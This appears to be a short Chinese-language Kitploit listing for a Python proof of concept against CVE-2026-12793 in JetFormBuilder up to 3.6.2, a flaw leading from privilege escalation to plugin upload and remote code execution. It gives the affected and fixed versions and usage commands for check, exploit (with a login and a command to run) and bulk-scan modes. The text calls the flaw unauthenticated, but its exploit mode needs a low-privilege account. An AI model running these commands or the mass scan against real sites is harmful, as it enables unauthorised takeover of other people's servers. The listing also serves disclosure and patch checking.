CVE-2026-12793 — 针对 JetFormBuilder <= 3.6.2 中 CVE-2026-12793 的 Python PoC：未认证权限提升导致插件上传和远程代码执行，具有检查和批量扫描模式。 | Kitploit

CVE-2026-12793 — JetFormBuilder ≤ 3.6.2

未认证权限提升 → 插件上传 → RCE。

受影响版本

存在漏洞：<= 3.6.2
已修复：>= 3.6.3

快速使用

# 检查单个目标
python poc.py -u https://target.example --mode check

# 完整利用（需要现有的低权限账户）
python poc.py -u https://target.example --mode exploit \
    -nu subscriber -np 'Password123' -c id

# 批量扫描
python poc.py -l targets.txt --mode check -t 30